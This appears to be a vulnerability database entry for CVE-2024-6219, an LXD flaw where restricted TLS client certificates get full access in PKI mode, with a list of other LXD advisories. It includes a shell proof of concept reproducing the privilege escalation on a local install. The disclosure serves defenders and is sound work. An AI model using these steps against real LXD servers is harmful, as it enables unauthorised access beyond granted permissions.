CVE-2024-6219: lxd has a restricted TLS certificate privilege escalation when in PKI mode
Summary If a server.ca file is present in LXDDIR at LXD start up, LXD is in "PKI mode". In this mode, all clients must have certificates that have been signed by the CA. The LXD configuration option core.trustcacertificates defaults to false. This means that although the client certificate has been signed by the CA, LXD will additionally add the certificate to the trust store and verify it via mTLS.
Published Dec 9, 2024 · Updated Jun 26, 2026
Affected packages
github.com/canonical/lxd
- Ecosystem
- Go
- Affected
- < 0.0.0-20240403103450-0e7f2b5bf4d2
- Fixed in
- 0.0.0-20240403103450-0e7f2b5bf4d2
- Check
go list -m github.com/canonical/lxd
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
If a server.ca file is present in LXD_DIR at LXD start up, LXD is in "PKI mode". In this mode, all clients must have certificates that have been signed by the CA.
The LXD configuration option core.trust_ca_certificates defaults to false. This means that although the client certificate has been signed by the CA, LXD will additionally add the certificate to the trust store and verify it via mTLS.
When a restricted certificate is added to the trust store in this mode, it's restrictions are not honoured, and the client has full access to LXD.
Details
When authorization was refactored to allow for generalisation (at the time for TLS, RBAC, and OpenFGA, see https://github.com/canonical/lxd/pull/12313), PKI mode did not account for the core.trust_ca_certificates configuration option. When this option is enabled, all CA-signed client certificates are given full access to LXD. This cherry-pick from Incus was added to LXD to fix the issue.
The cherry-pick fixed the immediate issue and allowed full access to LXD for CA-signed client certificates when core.trust_ca_certificates is enabled, but did not consider the behaviour of LXD when core.trust_ca_certificates is disabled.
When core.trust_ca_certificates is false, restrictions that are applied to a certificate should be honoured. Instead, they are being ignored due to the presence of a server.ca file in LXD_DIR.
PoC
# Install/initialize LXD
$ snap install lxd --channel 5.21/stable
$ lxd init --auto
$ lxc config set core.https_address=127.0.0.1:8443
# Use easyrsa for configuring CA: https://github.com/OpenVPN/easy-rsa
$ cp -R /usr/share/easy-rsa "/tmp/pki"
$ export EASYRSA_KEY_SIZE=4096
$ cd /tmp/pki
$ ./easyrsa init-pki
$ echo "lxd" | ./easyrsa build-ca nopass
$ ./easyrsa build-client-full lxd-client nopass
$ cp pki/ca.crt /var/snap/lxd/common/lxd/server.ca
$ cp pki/issued/lxd-client.crt ~/snap/lxd/common/config/client.crt
$ cp pki/private/lxd-client.key ~/snap/lxd/common/config/client.key
# Restart daemon.
$ systemctl reload snap.lxd.daemon
# Add a restricted certificate to the trust store.
$ token="$(lxc config trust add --name ca-test --quiet --restricted)"
$ lxc remote add tls "${token}"
# Our client has a CA-signed certificate, but it is restricted, so the client should not be able to view server config.
$ lxc config get tls: core.https_address
127.0.0.1:8443Impact
I believe this vulnerability is low impact because PKI mode is:
- Not the standard or recommended mode of operation for LXD.
- While
core.trust_ca_certificatesdefaults to false, we believe that users who enable PKI mode will generally havecore.trust_ca_certificatesenabled to allow for passwordless PKI with CRL revocation (see https://github.com/canonical/lxd/issues/3832). When this mode is enabled, all clients with CA-signed certificates have root access* anyway.
*Note: If a restricted certificate is added before core.trust_ca_certificates is enabled, the certificate becomes unrestricted. We believe this was the original intention of the PR, but this should be changed to disallow any unintended permission change.
Credited to markylaing, cookesan.
References
- https://github.com/canonical/lxd/security/advisories/GHSA-jpmc-7p9c-4rxf
- https://nvd.nist.gov/vuln/detail/CVE-2024-6219
- https://github.com/canonical/lxd/pull/12313
- https://pkg.go.dev/vuln/GO-2024-3313
- https://www.cve.org/CVERecord?id=CVE-2024-6219
- https://github.com/canonical/lxd/commit/5cdc9a35b9c51e981b1e70330bde0413ccacc7fd
- https://github.com/advisories/GHSA-jpmc-7p9c-4rxf
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-28385
LXD: SSRF via image import from URL allows internal network probing by authenticated users
medium5.0Nov 6, 2026CVE-2026-9639
LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at
medium6.5Nov 6, 2026GHSA-47w9-6r3f-938g
LXD has restricted project bypass leading to arbitrary command execution
critical9.9Nov 6, 2026GHSA-7mr3-28h5-m5vx
LXD has project restriction bypass for custom volume copy across projects
high7.7Nov 6, 2026GHSA-9j25-mm2h-2f76
LXD has arbitrary file write on host via `exec-output` symlink in crafted image
critical9.9Nov 6, 2026GHSA-fmc8-p6q7-75cc
LXD has argument injection in backup compression algorithm leading to AFW and ACE
critical9.9Nov 6, 2026
